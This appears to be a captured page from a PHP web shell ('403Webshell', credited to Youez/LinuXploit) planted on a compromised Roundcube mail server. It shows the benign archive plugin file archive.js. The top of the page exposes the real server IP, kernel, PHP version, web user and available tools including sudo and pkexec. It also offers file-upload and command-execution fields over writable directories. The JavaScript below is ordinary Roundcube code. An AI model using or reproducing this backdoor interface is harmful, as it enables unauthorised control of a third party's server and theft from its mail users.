403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/roundcube/plugins/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/roundcube/plugins/archive/archive.js
/**
 * Archive plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

function rcmail_archive(prop)
{
  if (rcmail_is_archive())
    return;

  var post_data = rcmail.selection_post_data();

  // exit if selection is empty
  if (!post_data._uid)
    return;

  // Disable message command buttons until a message is selected
  rcmail.enable_command(rcmail.env.message_commands, false);
  rcmail.enable_command('plugin.archive', false);

  // let the server sort the messages to the according subfolders
  rcmail.with_selected_messages('move', post_data, null, 'plugin.move2archive');

  // Reset preview (must be after with_selected_messages() call)
  rcmail.show_contentframe(false);
}

function rcmail_is_archive()
{
  // check if current folder is an archive folder or one of its children
  return rcmail.env.mailbox == rcmail.env.archive_folder
    || rcmail.env.mailbox.startsWith(rcmail.env.archive_folder + rcmail.env.delimiter);
}

// callback for app-onload event
if (window.rcmail) {
  rcmail.addEventListener('init', function(evt) {
    // register command (directly enable in message view mode)
    rcmail.register_command('plugin.archive', rcmail_archive, rcmail.env.uid && !rcmail_is_archive());

    // add event-listener to message list
    if (rcmail.message_list)
      rcmail.message_list.addEventListener('select', function(list) {
        rcmail.enable_command('plugin.archive', list.get_selection().length > 0 && !rcmail_is_archive());
      });

    // set css style for archive folder
    var li;
    if (rcmail.env.archive_folder) {
      // in Settings > Folders
      if (rcmail.subscription_list)
        li = rcmail.subscription_list.get_item(rcmail.env.archive_folder);
      // in folders list
      else
        li = rcmail.get_folder_li(rcmail.env.archive_folder, '', true);

      if (li)
        $(li).addClass('archive');

      // in folder selector popup
      rcmail.addEventListener('menu-open', function(p) {
        if (p.name == 'folder-selector') {
          var search = rcmail.env.archive_folder;
          $('a', p.obj).filter(function() { return $(this).data('id') == search; }).parent().addClass('archive');
        }
      });
    }
  });
}

Youez - 2016 - github.com/yon3zu
LinuXploit